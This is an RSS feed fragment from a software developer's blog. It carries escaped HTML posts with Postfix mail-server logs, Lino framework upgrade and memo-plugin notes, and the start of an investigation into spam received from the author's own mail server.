&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;905&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;F73621666&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;89.103&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;109.&lt;/span&gt;&lt;span class="n"&gt;adsl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;belgacom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;sasl_method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PLAIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sasl_username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1083&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;F73621666&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="n"&gt;ff8af4&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;686e-1&lt;/span&gt;&lt;span class="n"&gt;ad2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;d59&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;b65a21feb8af&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;opendkim&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;627&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;F73621666&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DKIM&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Signature&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt; &lt;span class="n"&gt;added&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;30080&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;F73621666&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;45170&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;905&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;89.103&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;109.&lt;/span&gt;&lt;span class="n"&gt;adsl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;belgacom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;starttls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1085&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;F73621666&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;sharifmehedi24&lt;/span&gt;&lt;span class="nd"&gt;@outlook&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;outlook&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;olc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;protection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outlook&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;104.47.2.33&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;3.6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.16&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;3.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.6.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="mf"&gt;2.6.0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="n"&gt;ff8af4&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;686e-1&lt;/span&gt;&lt;span class="n"&gt;ad2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;d59&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;b65a21feb8af&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;InternalId&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;14482629735081&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Hostname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PUZPR04MB6295&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;apcprd04&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outlook&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mi"&gt;54786&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="mf"&gt;0.549&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;97.388&lt;/span&gt; &lt;span class="n"&gt;KB&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sec&lt;/span&gt; &lt;span class="n"&gt;Queued&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;delivery&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="mf"&gt;2.1.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;30080&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;F73621666&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I unchecked the “Use local IP address instead of host name” setting in FairEmail
and still was able to send.&lt;/p&gt;
&lt;p&gt;IOW the WLAN connection of the place where I am seems to connect using different
methods, depending on some random condition.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0128.html</guid><pubDate>Sat, 28 Jan 2023 00:00:00 +0000</pubDate></item><item><title>Thursday, January 26, 2023</title><link>https://luc.lino-framework.org/blog/2023/0126.html</link><description>&lt;section id="thursday-january-26-2023"&gt;
&lt;h1&gt;Thursday, January 26, 2023&lt;a class="headerlink" href="#thursday-january-26-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I made an upgrade to Jane because I want to make the next service report using
the subscriptions.&lt;/p&gt;
&lt;p&gt;The upgrade worked very well, Lino behaved correctly. I made a few local
bugfixes after the update (i.e. I made them both locally on the production
server and in my code):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-01-26 02:49 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/xl.git"&gt;c77c41c&lt;/a&gt;
(local bugfixes after update jane)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-01-26 02:50 in &lt;em&gt;noi&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/noi.git"&gt;e359847&lt;/a&gt;
(local bugfixes after update jane)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I then wanted to make the next service report for a guinea pig customer.&lt;/p&gt;
&lt;p&gt;First there was no “Generate invoices” entry in the Sales menu. I marked two
journals as having an invoicing_area. This should have changed the menu, but it
didn’t. I guess this is because users preferences are stored in memory. After
restarting supervisor the menu was updated.&lt;/p&gt;
&lt;p&gt;I still didn’t get Lino to suggest a service report. Something is still missing
in the configuration. To be continued next time.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0126.html</guid><pubDate>Thu, 26 Jan 2023 00:00:00 +0000</pubDate></item><item><title>Wednesday, January 25, 2023</title><link>https://luc.lino-framework.org/blog/2023/0125.html</link><description>&lt;section id="wednesday-january-25-2023"&gt;
&lt;h1&gt;Wednesday, January 25, 2023&lt;a class="headerlink" href="#wednesday-january-25-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Uff, I finally published a full week of my work!&lt;/p&gt;
&lt;section id="insert-images-into-arbitrary-places-using-memo-commands"&gt;
&lt;h2&gt;Insert images into arbitrary places using memo commands&lt;a class="headerlink" href="#insert-images-into-arbitrary-places-using-memo-commands" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Moved the &lt;cite&gt;Mention&lt;/cite&gt; model from comments to memo.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.memo.html#module-lino.modlib.memo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin now creates a special &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;BaseRequest&lt;/span&gt;&lt;/code&gt;
instance that is used when parsing memo commands.&lt;/p&gt;
&lt;p&gt;It is special in that its user is an instance of &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;AnonymousUser&lt;/span&gt;&lt;/code&gt; with
user_type &lt;cite&gt;admin&lt;/cite&gt;&lt;/p&gt;
&lt;p&gt;with admin rights. This is because we want to store the result of memo commands
in the preview fields of &lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#lino.modlib.memo.Previewable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.Previewable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. When a non-admin
user saves a blog entry that contains references to other database objects, then
the author maybe has no permission to see the detail of these objects, but other
users have.&lt;/p&gt;
&lt;p&gt;The new model mixin &lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#lino.modlib.memo.MemoReferrable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.MemoReferrable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; eliminates quite
some boilerplate code.&lt;/p&gt;
&lt;p&gt;In &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.sigal_image.line2html()&lt;/span&gt;&lt;/code&gt; I renamed the format “couple”
to “duo”. And I fixed a bug that caused duo and trio to be floating (wrapped by
their surrounding text).&lt;/p&gt;
&lt;p class="rubric"&gt;Data migration&lt;/p&gt;
&lt;p&gt;in your &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; uncomment the line that loads
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;comments_mention.py&lt;/span&gt;&lt;/code&gt;. The &lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#lino.modlib.memo.Mention" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.Mention&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; objects will be
populated by &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;checkdata&lt;/span&gt; &lt;span class="pre"&gt;-f&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p class="rubric"&gt;En passant&lt;/p&gt;
&lt;p&gt;I removed the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site.max_file_size&lt;/span&gt;&lt;/code&gt; setting because it was useless: Lino
would never get it because the server would make a disk overflow.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="documentation-about-synodalsoft"&gt;
&lt;h2&gt;Documentation about Synodalsoft&lt;a class="headerlink" href="#documentation-about-synodalsoft" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I also have been working in the documentation during the last days. I started
the website for &lt;a class="reference external" href="https:://www.synodalsoft.net"&gt;https:://www.synodalsoft.net&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/specs/synodal/index.html#module-synodal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;synodal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; package is far from being perfectly, but it is already
useful. Soon we can remove the dependency of rstgen towards atelier.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="more-changes"&gt;
&lt;h2&gt;More changes&lt;a class="headerlink" href="#more-changes" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Later I also removed &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Modified&lt;/span&gt;&lt;/code&gt; from &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Mention&lt;/span&gt;&lt;/code&gt; because it is not
needed.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0125.html</guid><pubDate>Wed, 25 Jan 2023 00:00:00 +0000</pubDate></item><item><title>YOUR COMPENSATION FROM CAROL..</title><link>https://luc.lino-framework.org/blog/2023/0124.html</link><description>&lt;section id="your-compensation-from-carol"&gt;
&lt;h1&gt;YOUR COMPENSATION FROM CAROL..&lt;a class="headerlink" href="#your-compensation-from-carol" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Tuesday, January 24, 2023&lt;/p&gt;
&lt;p&gt;My &lt;a class="reference internal" href="0123.html"&gt;&lt;span class="doc"&gt;yesterday blog entry&lt;/span&gt;&lt;/a&gt; does not explain why we received a spam
mail from our own mail server three days ago.&lt;/p&gt;
&lt;p&gt;Here are the relevant headers of that mail:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Return&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;cw4826878&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;X&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Original&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;To&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;
&lt;span class="n"&gt;Delivered&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;To&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;
&lt;span class="n"&gt;Received&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;userid&lt;/span&gt; &lt;span class="mi"&gt;1008&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
